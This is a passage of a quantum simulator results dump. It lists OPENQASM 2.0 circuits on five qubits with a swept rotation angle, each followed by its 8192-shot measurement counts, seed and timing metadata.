'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1241', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2501049143, 'status': 'DONE', 'data': {'counts': {'0x3': 1442, '0x1': 516, '0x0': 3569, '0x2': 2665}}, 'success': True, 'shots': 8192, 'time_taken': 0.434714947, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1243', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3135667686, 'status': 'DONE', 'data': {'counts': {'0x3': 1356, '0x1': 673, '0x0': 3347, '0x2': 2816}}, 'success': True, 'shots': 8192, 'time_taken': 0.45146913800000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1245', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1029453338, 'status': 'DONE', 'data': {'counts': {'0x3': 1256, '0x1': 776, '0x0': 3349, '0x2': 2811}}, 'success': True, 'shots': 8192, 'time_taken': 0.444856446, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1247', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1846006048, 'status': 'DONE', 'data': {'counts': {'0x3': 1192, '0x1': 855, '0x0': 3217, '0x2': 2928}}, 'success': True, 'shots': 8192, 'time_taken': 0.442715322, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1249', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1869604104, 'status': 'DONE', 'data': {'counts': {'0x3': 1107, '0x1': 936, '0x0': 3126, '0x2': 3023}}, 'success': True, 'shots': 8192, 'time_taken': 0.470579199, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1251', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 783673243, 'status': 'DONE', 'data': {'counts': {'0x3': 987, '0x1': 1106, '0x0': 2912, '0x2': 3187}}, 'success': True, 'shots': 8192, 'time_taken': 0.49388097000000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1253', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3051191876, 'status': 'DONE', 'data': {'counts': {'0x3': 832, '0x1': 1199, '0x0': 2886, '0x2': 3275}}, 'success': True, 'shots': 8192, 'time_taken': 0.47034892500000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1255', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 112637273, 'status': 'DONE', 'data': {'counts': {'0x3': 791, '0x1': 1281, '0x0': 2884, '0x2': 3236}}, 'success': True, 'shots': 8192, 'time_taken': 0.44370368800000004, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1257', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3081476976, 'status': 'DONE', 'data': {'counts': {'0x3': 689, '0x1': 1411, '0x0': 2690, '0x2': 3402}}, 'success': True, 'shots': 8192, 'time_taken': 0.451908405, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1259', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2163622524, 'status': 'DONE', 'data': {'counts': {'0x3': 567, '0x1': 1491, '0x0': 2685, '0x2': 3449}}, 'success': True, 'shots': 8192, 'time_taken': 0.455747775, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1261', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2238528806, 'status': 'DONE', 'data': {'counts': {'0x3': 457, '0x1': 1523, '0x0': 2580, '0x2': 3632}}, 'success': True, 'shots': 8192, 'time_taken': 0.44629279800000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1263', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3418372205, 'status': 'DONE', 'data': {'counts': {'0x3': 390, '0x1': 1637, '0x0': 2417, '0x2': 3748}}, 'success': True, 'shots': 8192, 'time_taken': 0.447320359, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) 